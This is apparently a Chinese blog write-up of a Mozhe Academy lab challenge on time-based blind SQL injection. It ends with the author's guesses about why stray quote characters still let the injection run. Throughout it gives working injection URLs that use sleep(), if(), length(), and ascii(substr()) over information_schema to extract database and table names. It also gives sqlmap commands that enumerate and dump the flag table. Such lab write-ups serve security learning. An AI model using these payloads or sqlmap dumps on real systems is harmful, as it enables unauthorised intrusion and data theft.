墨者学院SQL注入(时间盲注)(手动注入+sqlmap+对于注入语句中的那个 ’ 的测试)
闲谈
这样写标题比较醒目,主要是想帮帮像我一样的强迫症的小伙伴,(其实我发现是在线靶场的解题思路啥的看的人多,如果有小伙伴对于我的推测有不同见解的地方可以留言),因为我最近在刷墨者靶场的SQL注入部分,所以遇到自己觉得有意思的题会发出来,小伙白也可以留言告诉我一些有意思的靶场(这是属于小白的进阶之路)。
0x00 注入点判断:
提示很明显,如图0:
图0 提示很明显是参数?type=
画风正常一点的payload:http://219.153.49.228:40659/flag.php?type=1%20and%20sleep(3)%23
如图1:
图1 这里会有一个明显的延时,执行了sleep(3)。(注意这个是没加上 ’ )
这样的payload:http://219.153.49.228:40659/flag.php?type=1%27%20and%20sleep(3)%23
如图2:
图2 (在?type=1后边加上 ’ ,加上 " )没有执行sleep函数(这里只给一个图)
最离谱的来了,payload:http://219.153.49.228:40659/flag.php?type=1%20and%20sleep(3)%27
如图3:
图3 他居然也执行了sleep(3)。。。
加上了 ;的payload:http://219.153.49.228:40659/flag.php?type=1%20and%20sleep(3);%23
也可以成功执行sleep(3)
先接着往下走,在mysql测试payload放在最后。(毕竟还是要把靶场打通过)
0x01 构建payload,payload原理分析,使用函数简介:
a.函数简介:
if(a,b,c):
a 是条件 。
b 是当a为True时执行的动作,也就是满足条件是执行的动作 。
c 是当a为False时执行的动作,也就是不满足条件是执行的动作。
length(a):
返回a的长度。
substr(a,b,c):
a 是被当作目标的字符串。
b 是开始截取的位置。
c 是截取的长度。
limit 0,1
从索引值为0的行数开始拉去一行。(mysql索引值从0开始)
ascii(a):
将字符a转化为asc码。
b.构建payload(手动盲注):
b1.首先判断当前数据库长度:
database():查询当前数据库。
payload: http://219.153.49.228:40659/flag.php?type=1%20and%20if(length(database())%3E5,sleep(3),0)%23
如图4:
图4 成功执行了sleep(3),数据库长度是大于5的。
payload: http://219.153.49.228:40659/flag.php?type=1%20and%20if(length(database())%3E10,sleep(3),0)%23
如图5:
图5 成功执行了sleep(3),数据库长度大于10
payload: http://219.153.49.228:40659/flag.php?type=1%20and%20if(length(database())%3E12,sleep(3),0)%23
如图6:
图6 没有执行sleep(3),(之后不截图了吧,不看给你们响应时间你们也看不出来吧。。。)
payload: http://219.153.49.228:40659/flag.php?type=1%20and%20if(length(database())=12,sleep(3),0)%23
最后数据库长度是等于12的。
b2.判断表的长度:
payload: http://219.153.49.228:40659/flag.php?type=1%20and%20if(length((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1))=4,sleep(3),0)%23
由此可知第二个表名字的长度为4,修改 limit 函数的参数就可以把所有的表的长度都爆出来。
b3.判断表的名字:
payload: http://219.153.49.228:40659/flag.php?type=1%20and%20if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102,sleep(3),1)%23
这个是第2张表的第一个字母,asc码是102,也就是字母f
payload: http://219.153.49.228:40659
/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=108,sleep(3),1)%23
第二个字母,asc码是108,字符l。
依次类推,可以爆出表名。
c.sqlmap的使用:
话不多说,直接上payload:
sqlmap -u http://219.153.49.228:41887/flag.php?type=1 --dbs -batch
爆数据库。
sqlmap -u http://219.153.49.228:41887/flag.php?type=1 -D pentesterlab --tables --batch
爆表。
sqlmap -u http://219.153.49.228:41887/flag.php?type=1 -D pentesterlab -T flag --columns --batch
爆字段。
sqlmap -u http://219.153.49.228:41887/flag.php?type=1 -D pentesterlab -T flag -C flag --dump --batch
爆内容
(端口不同原因是我出去吃饭了。。。太久靶场关了。)
sqlmap是真香啊。
0x02 在mysql中测试他那个该死的 ’ 到底是什么原因:
我们只是模拟环境,所以也没有特意创建表,插入数据,使用的mysql自带的表(其实就是懒)。
查询语句:select * from user where User = ‘root’;
如下图7:
图7 这是mysql查询的标准语句了。
接下来是我们判断注入点时候的payload。画风正常的其实都可以理解,
?type=1 and sleep(3)%23 。这样相当于是个数字的注入,查询语句中没有用 ’ 或者 " 。
看看奇奇怪怪的payload:
http://219.153.49.228:40659/flag.php?type=1%20and%20sleep(3)%27
将他带入查询语句中大概是这样:
select * from user where User = ‘root’ and sleep(3)’;
我们执行之后,结果如图8:
图8 他提示我补全这个 ’ ,补全之后会爆错。
而且其实仔细看会发现,我前面的手动注入的payload都没有加分号;,也是mysql语句的结束符号然后我就给直接注释掉了后边。
也就是说当代码中单独出现结束符;的时候,必要要出现注释符,
没有;的时候,也可以出现注释符,
';# ";# ;# # ’ " 都是可以的成功执行sleep(3)的(#记得变%23)。
但是按照上面的推断 ?type=1 and sleep(3) 应该也是可以的,但是经过测试网页并不会延时响应。。。
所以在靶场的源码里是不是有一个类似于if的语句,检测我们输入的代码中有没有 分号 ; ,如果没有自动补全。检测我们的代码中有没有 ’ " ,如果有删除?因为如果mysql语句报错是不会执行sleep()函数的,所以我们可以推断源码中删除了我们输入中会报错的 ’ " ,而在我们没有输入 ;时,他自动帮我们补全了 ;,但是我们要是没有输入这些特定的符号时,他不会执行查询语句或者添加了一些符号让数据库报错?从无法执行语句?(逻辑应该没有出现什么问题,其实给我弄得也有点懵。。。)